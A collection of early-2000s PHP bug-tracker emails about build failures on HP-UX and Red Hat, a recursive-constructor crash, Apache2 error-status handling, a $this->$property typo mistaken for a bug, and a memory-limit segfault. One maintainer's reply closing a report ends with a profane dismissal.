any of the files. (At least I would think it should exist in the
Makefile.ams) Maybe it had been forgotten?



[2002-01-28 20:43:45] [EMAIL PROTECTED]

If the OS is compiled and installed on a 64 bit system,
or with large file support (read: kernel, libc, others)
then calls to stat() and friends return 64-bit structures. You don't
need to call stat64 expressly. A stock RedHat-7.2
box isn't 64bit compliant unless it's compiled that way.

The VCWD_STAT macro uses stat(path, buff), not
stat(path, mode). I've had a look at stat.h and see
the references to stat64(path, buff) if large file
support is defined, but I'm in a little over my head
here, so I bow to [EMAIL PROTECTED]'s mastery of php
internals.  :)

I don't have access to a 64bit box or fs to confirm, so I guess I
jumped the gun on this one, but IMHO, this isn't a
PHP *bug*.

Sorry for the confusion.




[2002-01-28 15:44:49] wweng at kencast dot com

I believe I had found the reason of this bug.

file_exists function ultimately calls VCWD_STAT function defined in
TSRM/tsrm_virtual_cwd.h. However, the VCWD_STAT function is only a
macro for stat(path, mode), and under Linux, you need stat64 for 64 bit
file stats operations.

hmm, and all the file I/Os under PHP right now do not support 64 bits.
This is bad...



[2002-01-28 15:26:54] wweng at kencast dot com

Can not seem to find the RPM(php-4.1.1) for Redhat 7.2. :(

There is no build environment on testing machines.



The remainder of the comments for this report are too long. To view
the rest of the comments, please view the bug report online at
http://bugs.php.net/15260

-- 
Edit this bug report at http://bugs.php.net/?id=15260edit=1

#19918 [Com]: no libphp4.so produced

[max at ingenieria dot uaemex dot mx]

 ID:   19918
 Comment by:   max at ingenieria dot uaemex dot mx
 Reported By:  mad at dactar dot ch
 Status:   Closed
 Bug Type: Compile Failure
 Operating System: HP-UX 11.00
 PHP Version:  4.3.1
 New Comment:

Hi, after doing the most of the suggestions (edit makefile, configure,
etc, etc), i get a make without errors, but when i run make install i
get this:


OS: HP-UX 11i (11.11)
PHPv:   4.3.3
Apache: httpd-2.0.47

i made a search in all the system, and i can't find any libphp4.sl
file...



Make output:

Build complete.
(It is safe to ignore warnings about tempnam and tmpnam).
 
I tryed php4-STABLE-200310080330 too with the same error


Previous Comments:


[2003-02-25 02:04:12] [EMAIL PROTECTED]

No feedback was provided. The bug is being suspended because
we assume that you are no longer experiencing the problem.
If this is not the case and you are able to provide the
information that was requested earlier, please do so and
change the status of the bug back to Open. Thank you.





[2003-02-18 22:58:40] [EMAIL PROTECTED]

Please try using this CVS snapshot:

  http://snaps.php.net/php4-STABLE-latest.tar.gz
 
For Windows:
 
  http://snaps.php.net/win32/php4-win32-STABLE-latest.zip

I have added a possible fix for this problem.
Now if crypt() is found in libc, then we don't
force adding of libcrypt anymore.




[2003-02-18 13:57:51] mad at dactar dot ch

This workarround (replace -lcrypt by -lc) works.
Someone of php's staff can analyse this problem and correct it please
?

Thanks
@++
JC

PS 4 kbrott : thanks very very much :))



[2003-02-18 13:57:18] mad at dactar dot ch

This workarround (replace -lcrypt by -lc).
Someone of php's staff can analyse this problem and correct it please
?

Thanks
@++
JC

PS 4 kbrott : thanks very very much :))



[2003-02-05 18:15:34] kbrott at eli dot net

Reproduced bug on patched-to-current HP-UX 11.00 system trying to 
build php-4.3.0 against apache httpd 2.0.43 (as well as the 
php-200301290030.tar.gz snapshot).

Have determined cause and offer working solution (well - it worked on 
my systems anyway).

Here's the config.nice that I used for this instance:
#! /bin/sh
#
# Created by configure

CFLAGS='-O3' \
LDFLAGS='-L/opt/admin/lib -L/opt/tools/lib' \
CC='gcc' \
'./configure' \
'--prefix=/opt/php4' \
'--with-apxs2=/opt/apache/sbin/apxs' \
'--enable-shared' \
'--enable-force-cgi-redirect' \
'--with-openssl=/opt/tools' \
'--with-zlib=/opt/tools' \
'--enable-bcmath' \
'--with-bz2=/opt/tools' \
'--enable-calendar' \
'--enable-dba' \
'--with-gdbm=/opt/tools' \
'--with-db3=/opt/tools' \
'--with-flatfile' \
'--enable-dbase' \
'--enable-dbx' \
'--enable-ftp' \
'--with-gmp=/opt/tools' \
'--with-mysql=/opt/mysql' \
'--enable-mime-magic' \
'--with-ldap=/opt/tools' \
'--enable-mbstring' \
'--enable-mbregex' \
'--with-readline=/opt/tools' \
$@ 

HP's linker via libtool (apache2 or otherwise) cannot seem to use a 
lib(anything).a to make a shared library file (at least not in this 
instance - I gave up on it after a couple of months) - so the trick is

to make sure not to call any static libraries.

HP moved all of the shared crpyt functions into libc ( as of HP-UX 
10.20 see 
http://www1.itrc.hp.com/service/cki/docDisplay.do?docLocale=en_USdocId=20062689279
).
So all calls in ./configure for HP-UX 11.00 should use -lc instead of 
-lcrypt for the crypt_r/ calls (tested - it works).

HP has completely deprecated termcap usage ( see 
http://devrsrc1.external.hp.com/STK/impacts/i409.html, 
http://devrsrc1.external.hp.com/STK/partner/xcurses.html, and more 
specifically
http://h21007.www2.hp.com/hpux-devtools/CXX/hpux-devtools.0012/0052.html
)
so you have to use libcurses instead if you want to access a shared 
library with those functions.  So all calls in ./configure when 
OS=hpux11 should use -lcurses instead of -ltermcap for the tgetent 
calls (tested - it works).

Making these changes to ./configure, executing ./config.nice, then 
doing make, make install allowed compilation and installation with 
no problems (well, once I rebuilt bzip2 with a shared libbz2 that is).

Feel free to ping me with questions - I have a working php 4.3.0
install running on HP-UX 11.00 as a shared install under apache 2.0.43
now so I must have done something right. :)



The remainder of the comments for this report are too long. To view
the rest of the comments, please view the bug report online at
http://bugs.php.net/19918

-- 
Edit this bug report at http://bugs.php.net/?id=19918edit=1

#22361 [Opn]: Endless loop causes windows to reboot

[max at tvattomaten dot com]

 ID:   22361
 User updated by:  max at tvattomaten dot com
 Reported By:  max at tvattomaten dot com
 Status:   Open
 Bug Type: Class/Object related
 Operating System: windows xp, sp1
 PHP Version:  4.3.1
 New Comment:

I've been thinking about reinstalling win xp for some time now but I
hate reinstalling all my software and reconfiguring. I know that there
is something fishy with my xp but this is the only time it actually
reboots. That's why I still think it may be an issue that may be
interesting to fix.


Previous Comments:


[2003-02-21 14:54:17] php at codewhore dot org

Check your hardware for stability. PHP cannot possibly cause windows to
reboot without either a major kernel bug in windows or faulty hardware.



[2003-02-21 13:50:22] max at tvattomaten dot com

Hi!

I've noticed that this buggy code causes a windows xp crash and
reboot:

***
class A {
 var Object;
 function A(){
  $this-Object = new B();
 }
}

class B {
 var Object;

 function B(){
  $this-Object = new A();
 }
}


and then running:

$myObject = new B();

***

I figure that first of all this should not result in that windows
reboots. Second I wouldn't mind if with the notices turned on it should
report a notice for this error (I can't be the only one that's done
this). At least there should be such a check for the constructor since
it seems that I can't learn from my previous mistakes :-D

Thanks for great software!

//Max Gordon

PS. I'm running latest version of apache 2 DS




-- 
Edit this bug report at http://bugs.php.net/?id=22361edit=1

#22361 [NEW]: Endless loop causes windows to reboot

[max at tvattomaten dot com]

From: max at tvattomaten dot com
Operating system: windows xp, sp1
PHP version:  4.3.1
PHP Bug Type: Class/Object related
Bug description:  Endless loop causes windows to reboot

Hi!

I've noticed that this buggy code causes a windows xp crash and reboot:

***
class A {
 var Object;
 function A(){
  $this-Object = new B();
 }
}

class B {
 var Object;

 function B(){
  $this-Object = new A();
 }
}


and then running:

$myObject = new B();

***

I figure that first of all this should not result in that windows reboots.
Second I wouldn't mind if with the notices turned on it should report a
notice for this error (I can't be the only one that's done this). At least
there should be such a check for the constructor since it seems that I
can't learn from my previous mistakes :-D

Thanks for great software!

//Max Gordon

PS. I'm running latest version of apache 2 DS
-- 
Edit bug report at http://bugs.php.net/?id=22361edit=1
-- 
Try a CVS snapshot: http://bugs.php.net/fix.php?id=22361r=trysnapshot
Fixed in CVS:   http://bugs.php.net/fix.php?id=22361r=fixedcvs
Fixed in release:   http://bugs.php.net/fix.php?id=22361r=alreadyfixed
Need backtrace: http://bugs.php.net/fix.php?id=22361r=needtrace
Try newer version:  http://bugs.php.net/fix.php?id=22361r=oldversion
Not developer issue:http://bugs.php.net/fix.php?id=22361r=support
Expected behavior:  http://bugs.php.net/fix.php?id=22361r=notwrong
Not enough info:http://bugs.php.net/fix.php?id=22361r=notenoughinfo
Submitted twice:http://bugs.php.net/fix.php?id=22361r=submittedtwice
register_globals:   http://bugs.php.net/fix.php?id=22361r=globals
PHP 3 support discontinued: http://bugs.php.net/fix.php?id=22361r=php3
Daylight Savings:   http://bugs.php.net/fix.php?id=22361r=dst
IIS Stability:  http://bugs.php.net/fix.php?id=22361r=isapi
Install GNU Sed:http://bugs.php.net/fix.php?id=22361r=gnused

#19954 [NEW]: HTTP Response Code not set correctly

[max]

From: [EMAIL PROTECTED]
Operating system: Linux 2.4.19
PHP version:  4CVS-2002-10-17
PHP Bug Type: Apache2 related
Bug description:  HTTP Response Code not set correctly

I've compiled Apache 2.0.43 and PHP 4.3.0-dev from CVS. 
I configured PHP with --with-apxs2=/usr/local/apache2/bin/apxs. 
In my httpd.conf I have the following lines:
ErrorDocument 404 /error-404.php
ErrorDocument 403 /error-403.php
These two scripts DON'T output any header information via header(). They
just output some HTML.
Now when I try to GET an document that does not exist, I get HTTP/1.1 200
OK and the document /error-404.php instead of a HTTP/1.1 404 Not
Found.

I think that the problem exists in the apache2filter SAPI since this
behaviour does not occur in the old apache SAPI.


-- 
Edit bug report at http://bugs.php.net/?id=19954edit=1
-- 
Try a CVS snapshot: http://bugs.php.net/fix.php?id=19954r=trysnapshot
Fixed in CVS:   http://bugs.php.net/fix.php?id=19954r=fixedcvs
Fixed in release:   http://bugs.php.net/fix.php?id=19954r=alreadyfixed
Need backtrace: http://bugs.php.net/fix.php?id=19954r=needtrace
Try newer version:  http://bugs.php.net/fix.php?id=19954r=oldversion
Not developer issue:http://bugs.php.net/fix.php?id=19954r=support
Expected behavior:  http://bugs.php.net/fix.php?id=19954r=notwrong
Not enough info:http://bugs.php.net/fix.php?id=19954r=notenoughinfo
Submitted twice:http://bugs.php.net/fix.php?id=19954r=submittedtwice
register_globals:   http://bugs.php.net/fix.php?id=19954r=globals
PHP 3 support discontinued: http://bugs.php.net/fix.php?id=19954r=php3
Daylight Savings:   http://bugs.php.net/fix.php?id=19954r=dst
IIS Stability:  http://bugs.php.net/fix.php?id=19954r=isapi

#19954 [Com]: HTTP Response Code not set correctly

[max]

 ID:   19954
 Comment by:   [EMAIL PROTECTED]
 Reported By:  [EMAIL PROTECTED]
 Status:   Feedback
 Bug Type: Apache2 related
 Operating System: Linux 2.4.19
 PHP Version:  4CVS-2002-10-17
 New Comment:

I am refering to the 1.3.x API as the old API!


Previous Comments:


[2002-10-17 10:31:08] [EMAIL PROTECTED]

When you refer to the old sapi, are you talking about the 1.3.X sapi
or previous versions of the apache2filter sapi?



[2002-10-17 10:27:17] [EMAIL PROTECTED]

I've compiled Apache 2.0.43 and PHP 4.3.0-dev from CVS. 
I configured PHP with --with-apxs2=/usr/local/apache2/bin/apxs. 
In my httpd.conf I have the following lines:
ErrorDocument 404 /error-404.php
ErrorDocument 403 /error-403.php
These two scripts DON'T output any header information via header().
They just output some HTML.
Now when I try to GET an document that does not exist, I get HTTP/1.1
200 OK and the document /error-404.php instead of a HTTP/1.1 404 Not
Found.

I think that the problem exists in the apache2filter SAPI since this
behaviour does not occur in the old apache SAPI.






-- 
Edit this bug report at http://bugs.php.net/?id=19954edit=1

Bug #16947 Updated: array issue in object

[max]

 ID:   16947
 Updated by:   [EMAIL PROTECTED]
 Reported By:  [EMAIL PROTECTED]
 Status:   Bogus
 Bug Type: *General Issues
 Operating System: SunOS 5.8 Generic_108528-
 PHP Version:  4.1.2
 New Comment:

The bug system is not the appropriate forum for asking support
questions. For a list of a range of more appropriate places to ask
for help using PHP, please visit http://www.php.net/support.php

fuck off


Previous Comments:


[2002-05-02 08:55:25] [EMAIL PROTECTED]

The bug system is not the appropriate forum for asking support
questions. For a list of a range of more appropriate places to ask
for help using PHP, please visit http://www.php.net/support.php





[2002-05-01 15:34:17] [EMAIL PROTECTED]

checked the os with phpinfo()



[2002-05-01 15:24:17] [EMAIL PROTECTED]

three test results...

test case html
html
head
titleFilter Test/title
/head
body bgcolor=#ff
?php
$input_to_test = Here are some words. here is a naughty words. Some
final ending content.;
require(includes/old_filter.php);
$my_filter = new Filter(word_files/basicwords.txt);
$my_filter - approve($input_to_test);
$v = $my_filter -getViolatingContent();
echo H4Violating/H4;
for($i=0;$icount($v);$i++){
  printf(%sbr,$v[$i]);
}
echo h4Keywords/h4;
$keywords = $my_filter -getKeywords($input_to_test);
for($i=0;$icount($keywords);$i++){
  printf(%sbr,$keywords[$i]);
}
?
/body
/html


TEST #1
 changing code as you suggested -

$this-violations = $violation_arr;
$this-keywords = $keyword_arr;

produces the following output

Violating
Keywords
0 

TEST #2
 my posted code-

$this-$violations = $violation_arr;
$this-$keywords = $keyword_arr;

produces the following output

Violating
words.
naughty
words.
final
ending
content.

Keywords
0words.
naughty
words.
final
ending
content.

TEST #3
 using my code but inverting the two assignment statements-

$this-$keywords = $keyword_arr;
$this-$violations = $violation_arr;

produces the following output

Violating
naughty

Keywords
0naughty

again i remain pretty convinced this is some sort of bug...



[2002-05-01 15:03:25] [EMAIL PROTECTED]

Looking at your code, your assigning $this-$violations which is very
different from $this-violations (NOTICE: the dollar sign AFTER the
arrow).

At the time of assignment, the $violations, is an empty var even. So
what would happen is that $this-=$arr_violations.

If that does anything usefull, it would probably be, something like:
foreach($violations as $key = $value)
{
   $this-$key=$value;
}

The object would then get property '0', '1','2' etc.

But that is more speculation than fact, because what you're trying to
do here is incorrect.

use:
$this-violations=$arr_violations;

then report back.



[2002-05-01 14:34:19] [EMAIL PROTECTED]

i am trying to set the object variables $violations and $keywords to be
$violation_arr and $keyword_arr respectively. the assignment itself
works however it assigns the last value in this case $keyword_arr to
both. if i invert the order of the assignments doing the $violation
assignment last then both are set to that value. 

i do not believe the problem has anything to do with my use of this-
because again a value is being assigned but it is assigning to more
than one variable. 

of additonal note it does not set any of the other variables
$filter_name, $allowed_number and $filter_word_file.



The remainder of the comments for this report are too long. To view
the rest of the comments, please view the bug report online at
http://bugs.php.net/16947

-- 
Edit this bug report at http://bugs.php.net/?id=16947edit=1

Bug #16947 Updated: array issue in object

[max]

 ID:   16947
 Updated by:   [EMAIL PROTECTED]
 Reported By:  [EMAIL PROTECTED]
 Status:   Bogus
 Bug Type: *General Issues
 Operating System: SunOS 5.8 Generic_108528-
 PHP Version:  4.1.2
 New Comment:

The bug system is not the appropriate forum for asking support
questions. For a list of a range of more appropriate places to ask
for help using PHP, please visit http://www.php.net/support.php

fuck off


Previous Comments:


[2002-05-02 11:06:09] [EMAIL PROTECTED]

The bug system is not the appropriate forum for asking support
questions. For a list of a range of more appropriate places to ask
for help using PHP, please visit http://www.php.net/support.php

fuck off



[2002-05-02 08:55:25] [EMAIL PROTECTED]

The bug system is not the appropriate forum for asking support
questions. For a list of a range of more appropriate places to ask
for help using PHP, please visit http://www.php.net/support.php





[2002-05-01 15:34:17] [EMAIL PROTECTED]

checked the os with phpinfo()



[2002-05-01 15:24:17] [EMAIL PROTECTED]

three test results...

test case html
html
head
titleFilter Test/title
/head
body bgcolor=#ff
?php
$input_to_test = Here are some words. here is a naughty words. Some
final ending content.;
require(includes/old_filter.php);
$my_filter = new Filter(word_files/basicwords.txt);
$my_filter - approve($input_to_test);
$v = $my_filter -getViolatingContent();
echo H4Violating/H4;
for($i=0;$icount($v);$i++){
  printf(%sbr,$v[$i]);
}
echo h4Keywords/h4;
$keywords = $my_filter -getKeywords($input_to_test);
for($i=0;$icount($keywords);$i++){
  printf(%sbr,$keywords[$i]);
}
?
/body
/html


TEST #1
 changing code as you suggested -

$this-violations = $violation_arr;
$this-keywords = $keyword_arr;

produces the following output

Violating
Keywords
0 

TEST #2
 my posted code-

$this-$violations = $violation_arr;
$this-$keywords = $keyword_arr;

produces the following output

Violating
words.
naughty
words.
final
ending
content.

Keywords
0words.
naughty
words.
final
ending
content.

TEST #3
 using my code but inverting the two assignment statements-

$this-$keywords = $keyword_arr;
$this-$violations = $violation_arr;

produces the following output

Violating
naughty

Keywords
0naughty

again i remain pretty convinced this is some sort of bug...



[2002-05-01 15:03:25] [EMAIL PROTECTED]

Looking at your code, your assigning $this-$violations which is very
different from $this-violations (NOTICE: the dollar sign AFTER the
arrow).

At the time of assignment, the $violations, is an empty var even. So
what would happen is that $this-=$arr_violations.

If that does anything usefull, it would probably be, something like:
foreach($violations as $key = $value)
{
   $this-$key=$value;
}

The object would then get property '0', '1','2' etc.

But that is more speculation than fact, because what you're trying to
do here is incorrect.

use:
$this-violations=$arr_violations;

then report back.



The remainder of the comments for this report are too long. To view
the rest of the comments, please view the bug report online at
http://bugs.php.net/16947

-- 
Edit this bug report at http://bugs.php.net/?id=16947edit=1

Bug #16947: array issue in object

[max]

From: [EMAIL PROTECTED]
Operating system: Solaris i think
PHP version:  4.1.2
PHP Bug Type: *General Issues
Bug description:  array issue in object

i have created a class called filter. i have two variables in the class
which are arrays. i have an method named approve which sets the values of
both arrays. however the arrays both get set to the same value.

here is the relevant portion of the filter class code.

class Filter{

  var $filter_name = Basic Filter;
  var $allowed_number = 0;
  var $filter_word_file; // file name string
  var $violations; // array of strings of violating keywords
  var $keywords; // array of strings of keywords in content

  // Basic filter constructor.
  // Returns : nothing
  // Parameters :   $file_name File containing restricted words. 
  function Filter($file_name){
$this-filter_word_file=$file_name;
  }

  // Compares passed content to restricted file. Approved if unwanted
content falls
  // in range specified by $violation_count.
  // Returns :  true if approved
  //false if not approved
  // Parameters :   $content the content to test
  function approve($content){
$word_arr = file($this-filter_word_file);
$content_arr = split( ,$content);
$violation_count = 0;
$violation_arr;
$keyword_arr;
$run_once = true;
for($i=0;$icount($word_arr);$i++){
  for($j=0;$jcount($content_arr);$j++){
if(ereg(trim($word_arr[$i]),$content_arr[$j])){
  $violation_arr[$violation_count] = $content_arr[$j];
  $violation_count++;
}else{
  if((strlen($content_arr[$j])4) ($run_once == true)){
$keyword_arr[] = $content_arr[$j];
  }
}
  }
  $run_once = false;  
}
 //* THIS IS THE CODE THAT IS BUGGY **
$this-$violations = $violation_arr;
$this-$keywords = $keyword_arr;
 //* NOW HERE BOTH $keywords and $violations ARE SET TO THE VALUE OF
$keyword_arr *
if($violation_count$allowed_number){
  return false;
}
return true;  
  } 
  
  // Sets the number of allowed violations.
  // Return :   nothing
  // Parameters :   $number Amount of violations to allow.
  function setAllowedViolationNumber($number){
$this-$allowed_number = $number;  
  }

  // Returns an array of content violations.
  // Return :   array of strings
  // Parameters :   none
  function getViolatingContent(){
return $this-$violations;
  }
   
  // Returns an array of keywords for content.
  // Return :   array of strings
  // Parameters :   none
  function getKeywords(){
echo count($keywords);
return $this-$keywords;
  }

}

Anyway I can always re-produce this bug and I think there is something
seriously wrong here.



-- 
Edit bug report at http://bugs.php.net/?id=16947edit=1
-- 
Fixed in CVS:http://bugs.php.net/fix.php?id=16947r=fixedcvs
Fixed in release:http://bugs.php.net/fix.php?id=16947r=alreadyfixed
Need backtrace:  http://bugs.php.net/fix.php?id=16947r=needtrace
Try newer version:   http://bugs.php.net/fix.php?id=16947r=oldversion
Not developer issue: http://bugs.php.net/fix.php?id=16947r=support
Expected behavior:   http://bugs.php.net/fix.php?id=16947r=notwrong
Not enough info: http://bugs.php.net/fix.php?id=16947r=notenoughinfo
Submitted twice: http://bugs.php.net/fix.php?id=16947r=submittedtwice

Bug #16947 Updated: array issue in object

[max]

 ID:   16947
 Updated by:   [EMAIL PROTECTED]
 Reported By:  [EMAIL PROTECTED]
 Status:   Open
 Bug Type: *General Issues
 Operating System: Solaris i think
 PHP Version:  4.1.2
 New Comment:

i am trying to set the object variables $violations and $keywords to be
$violation_arr and $keyword_arr respectively. the assignment itself
works however it assigns the last value in this case $keyword_arr to
both. if i invert the order of the assignments doing the $violation
assignment last then both are set to that value. 

i do not believe the problem has anything to do with my use of this-
because again a value is being assigned but it is assigning to more
than one variable. 

of additonal note it does not set any of the other variables
$filter_name, $allowed_number and $filter_word_file.


Previous Comments:


[2002-05-01 14:04:12] [EMAIL PROTECTED]

So what are you trying to do in those lines?

$this-$violations expands to $this-array(.).
You want to make assign several properties all at once?
Or is:
$this-violations=$arr_violations;

the code you're looking for? And if so, does that fix the bug?



[2002-05-01 12:22:44] [EMAIL PROTECTED]

i have created a class called filter. i have two variables in the class
which are arrays. i have an method named approve which sets the values
of both arrays. however the arrays both get set to the same value.

here is the relevant portion of the filter class code.

class Filter{

  var $filter_name = Basic Filter;
  var $allowed_number = 0;
  var $filter_word_file; // file name string
  var $violations; // array of strings of violating keywords
  var $keywords; // array of strings of keywords in content

  // Basic filter constructor.
  // Returns : nothing
  // Parameters :   $file_name File containing restricted words. 
  function Filter($file_name){
$this-filter_word_file=$file_name;
  }

  // Compares passed content to restricted file. Approved if unwanted
content falls
  // in range specified by $violation_count.
  // Returns :  true if approved
  //false if not approved
  // Parameters :   $content the content to test
  function approve($content){
$word_arr = file($this-filter_word_file);
$content_arr = split( ,$content);
$violation_count = 0;
$violation_arr;
$keyword_arr;
$run_once = true;
for($i=0;$icount($word_arr);$i++){
  for($j=0;$jcount($content_arr);$j++){
if(ereg(trim($word_arr[$i]),$content_arr[$j])){
  $violation_arr[$violation_count] = $content_arr[$j];
  $violation_count++;
}else{
  if((strlen($content_arr[$j])4) ($run_once == true)){
$keyword_arr[] = $content_arr[$j];
  }
}
  }
  $run_once = false;  
}
 //* THIS IS THE CODE THAT IS BUGGY **
$this-$violations = $violation_arr;
$this-$keywords = $keyword_arr;
 //* NOW HERE BOTH $keywords and $violations ARE SET TO THE VALUE
OF $keyword_arr *
if($violation_count$allowed_number){
  return false;
}
return true;  
  } 
  
  // Sets the number of allowed violations.
  // Return :   nothing
  // Parameters :   $number Amount of violations to allow.
  function setAllowedViolationNumber($number){
$this-$allowed_number = $number;  
  }

  // Returns an array of content violations.
  // Return :   array of strings
  // Parameters :   none
  function getViolatingContent(){
return $this-$violations;
  }
   
  // Returns an array of keywords for content.
  // Return :   array of strings
  // Parameters :   none
  function getKeywords(){
echo count($keywords);
return $this-$keywords;
  }

}

Anyway I can always re-produce this bug and I think there is something
seriously wrong here.







-- 
Edit this bug report at http://bugs.php.net/?id=16947edit=1

Bug #16947 Updated: array issue in object

[max]

 ID:   16947
 Updated by:   [EMAIL PROTECTED]
 Reported By:  [EMAIL PROTECTED]
 Status:   Open
 Bug Type: *General Issues
 Operating System: Solaris i think
 PHP Version:  4.1.2
 New Comment:

three test results...

test case html
html
head
titleFilter Test/title
/head
body bgcolor=#ff
?php
$input_to_test = Here are some words. here is a naughty words. Some
final ending content.;
require(includes/old_filter.php);
$my_filter = new Filter(word_files/basicwords.txt);
$my_filter - approve($input_to_test);
$v = $my_filter -getViolatingContent();
echo H4Violating/H4;
for($i=0;$icount($v);$i++){
  printf(%sbr,$v[$i]);
}
echo h4Keywords/h4;
$keywords = $my_filter -getKeywords($input_to_test);
for($i=0;$icount($keywords);$i++){
  printf(%sbr,$keywords[$i]);
}
?
/body
/html


TEST #1
 changing code as you suggested -

$this-violations = $violation_arr;
$this-keywords = $keyword_arr;

produces the following output

Violating
Keywords
0 

TEST #2
 my posted code-

$this-$violations = $violation_arr;
$this-$keywords = $keyword_arr;

produces the following output

Violating
words.
naughty
words.
final
ending
content.

Keywords
0words.
naughty
words.
final
ending
content.

TEST #3
 using my code but inverting the two assignment statements-

$this-$keywords = $keyword_arr;
$this-$violations = $violation_arr;

produces the following output

Violating
naughty

Keywords
0naughty

again i remain pretty convinced this is some sort of bug...


Previous Comments:


[2002-05-01 15:03:25] [EMAIL PROTECTED]

Looking at your code, your assigning $this-$violations which is very
different from $this-violations (NOTICE: the dollar sign AFTER the
arrow).

At the time of assignment, the $violations, is an empty var even. So
what would happen is that $this-=$arr_violations.

If that does anything usefull, it would probably be, something like:
foreach($violations as $key = $value)
{
   $this-$key=$value;
}

The object would then get property '0', '1','2' etc.

But that is more speculation than fact, because what you're trying to
do here is incorrect.

use:
$this-violations=$arr_violations;

then report back.



[2002-05-01 14:34:19] [EMAIL PROTECTED]

i am trying to set the object variables $violations and $keywords to be
$violation_arr and $keyword_arr respectively. the assignment itself
works however it assigns the last value in this case $keyword_arr to
both. if i invert the order of the assignments doing the $violation
assignment last then both are set to that value. 

i do not believe the problem has anything to do with my use of this-
because again a value is being assigned but it is assigning to more
than one variable. 

of additonal note it does not set any of the other variables
$filter_name, $allowed_number and $filter_word_file.



[2002-05-01 14:04:12] [EMAIL PROTECTED]

So what are you trying to do in those lines?

$this-$violations expands to $this-array(.).
You want to make assign several properties all at once?
Or is:
$this-violations=$arr_violations;

the code you're looking for? And if so, does that fix the bug?



[2002-05-01 12:22:44] [EMAIL PROTECTED]

i have created a class called filter. i have two variables in the class
which are arrays. i have an method named approve which sets the values
of both arrays. however the arrays both get set to the same value.

here is the relevant portion of the filter class code.

class Filter{

  var $filter_name = Basic Filter;
  var $allowed_number = 0;
  var $filter_word_file; // file name string
  var $violations; // array of strings of violating keywords
  var $keywords; // array of strings of keywords in content

  // Basic filter constructor.
  // Returns : nothing
  // Parameters :   $file_name File containing restricted words. 
  function Filter($file_name){
$this-filter_word_file=$file_name;
  }

  // Compares passed content to restricted file. Approved if unwanted
content falls
  // in range specified by $violation_count.
  // Returns :  true if approved
  //false if not approved
  // Parameters :   $content the content to test
  function approve($content){
$word_arr = file($this-filter_word_file);
$content_arr = split( ,$content);
$violation_count = 0;
$violation_arr;
$keyword_arr;
$run_once = true;
for($i=0;$icount($word_arr);$i++){
  for($j=0;$jcount($content_arr);$j++){
if(ereg(trim($word_arr[$i]),$content_arr[$j])){
  $violation_arr[$violation_count] = $content_arr[$j];

Bug #16947 Updated: array issue in object

[max]

 ID:   16947
 Updated by:   [EMAIL PROTECTED]
 Reported By:  [EMAIL PROTECTED]
 Status:   Open
 Bug Type: *General Issues
-Operating System: Solaris i think
+Operating System: SunOS 5.8 Generic_108528-
 PHP Version:  4.1.2
 New Comment:

checked the os with phpinfo()


Previous Comments:


[2002-05-01 15:24:17] [EMAIL PROTECTED]

three test results...

test case html
html
head
titleFilter Test/title
/head
body bgcolor=#ff
?php
$input_to_test = Here are some words. here is a naughty words. Some
final ending content.;
require(includes/old_filter.php);
$my_filter = new Filter(word_files/basicwords.txt);
$my_filter - approve($input_to_test);
$v = $my_filter -getViolatingContent();
echo H4Violating/H4;
for($i=0;$icount($v);$i++){
  printf(%sbr,$v[$i]);
}
echo h4Keywords/h4;
$keywords = $my_filter -getKeywords($input_to_test);
for($i=0;$icount($keywords);$i++){
  printf(%sbr,$keywords[$i]);
}
?
/body
/html


TEST #1
 changing code as you suggested -

$this-violations = $violation_arr;
$this-keywords = $keyword_arr;

produces the following output

Violating
Keywords
0 

TEST #2
 my posted code-

$this-$violations = $violation_arr;
$this-$keywords = $keyword_arr;

produces the following output

Violating
words.
naughty
words.
final
ending
content.

Keywords
0words.
naughty
words.
final
ending
content.

TEST #3
 using my code but inverting the two assignment statements-

$this-$keywords = $keyword_arr;
$this-$violations = $violation_arr;

produces the following output

Violating
naughty

Keywords
0naughty

again i remain pretty convinced this is some sort of bug...



[2002-05-01 15:03:25] [EMAIL PROTECTED]

Looking at your code, your assigning $this-$violations which is very
different from $this-violations (NOTICE: the dollar sign AFTER the
arrow).

At the time of assignment, the $violations, is an empty var even. So
what would happen is that $this-=$arr_violations.

If that does anything usefull, it would probably be, something like:
foreach($violations as $key = $value)
{
   $this-$key=$value;
}

The object would then get property '0', '1','2' etc.

But that is more speculation than fact, because what you're trying to
do here is incorrect.

use:
$this-violations=$arr_violations;

then report back.



[2002-05-01 14:34:19] [EMAIL PROTECTED]

i am trying to set the object variables $violations and $keywords to be
$violation_arr and $keyword_arr respectively. the assignment itself
works however it assigns the last value in this case $keyword_arr to
both. if i invert the order of the assignments doing the $violation
assignment last then both are set to that value. 

i do not believe the problem has anything to do with my use of this-
because again a value is being assigned but it is assigning to more
than one variable. 

of additonal note it does not set any of the other variables
$filter_name, $allowed_number and $filter_word_file.



[2002-05-01 14:04:12] [EMAIL PROTECTED]

So what are you trying to do in those lines?

$this-$violations expands to $this-array(.).
You want to make assign several properties all at once?
Or is:
$this-violations=$arr_violations;

the code you're looking for? And if so, does that fix the bug?



[2002-05-01 12:22:44] [EMAIL PROTECTED]

i have created a class called filter. i have two variables in the class
which are arrays. i have an method named approve which sets the values
of both arrays. however the arrays both get set to the same value.

here is the relevant portion of the filter class code.

class Filter{

  var $filter_name = Basic Filter;
  var $allowed_number = 0;
  var $filter_word_file; // file name string
  var $violations; // array of strings of violating keywords
  var $keywords; // array of strings of keywords in content

  // Basic filter constructor.
  // Returns : nothing
  // Parameters :   $file_name File containing restricted words. 
  function Filter($file_name){
$this-filter_word_file=$file_name;
  }

  // Compares passed content to restricted file. Approved if unwanted
content falls
  // in range specified by $violation_count.
  // Returns :  true if approved
  //false if not approved
  // Parameters :   $content the content to test
  function approve($content){
$word_arr = file($this-filter_word_file);
$content_arr = split( ,$content);
$violation_count = 0;
$violation_arr;
$keyword_arr;
$run_once = true;

Bug #16360 Updated: Segmentation fault in Array functions

[max]

 ID:   16360
 Updated by:   [EMAIL PROTECTED]
 Reported By:  [EMAIL PROTECTED]
 Status:   Open
 Bug Type: Reproducible crash
 Operating System: Linux, Windows
 PHP Version:  4.0CVS-2002-03-30
 New Comment:

I did the same test on my machine (Linux 2.4.18, PHP 4.1.2
CGI-Version).
My php.ini looks like this:

memory_limit = 8M
log_errors = On
error_log = syslog

When I run the test routine nothing appears in my syslog and I get the
segfault.


Previous Comments:


[2002-03-30 10:36:36] [EMAIL PROTECTED]

found two machines that are not affected by this bug:
http://phpzone.de/info/
http://angela.nettrade.de/info.php



[2002-03-30 10:24:59] [EMAIL PROTECTED]

fixed the summary



[2002-03-30 10:02:40] [EMAIL PROTECTED]

If the memory limit of a PHP-script gets exhausted, the PHP interpreter
does'nt shut down cleanly and print an error regarding this issue; it
segfaults. If the user enables following options in php.ini
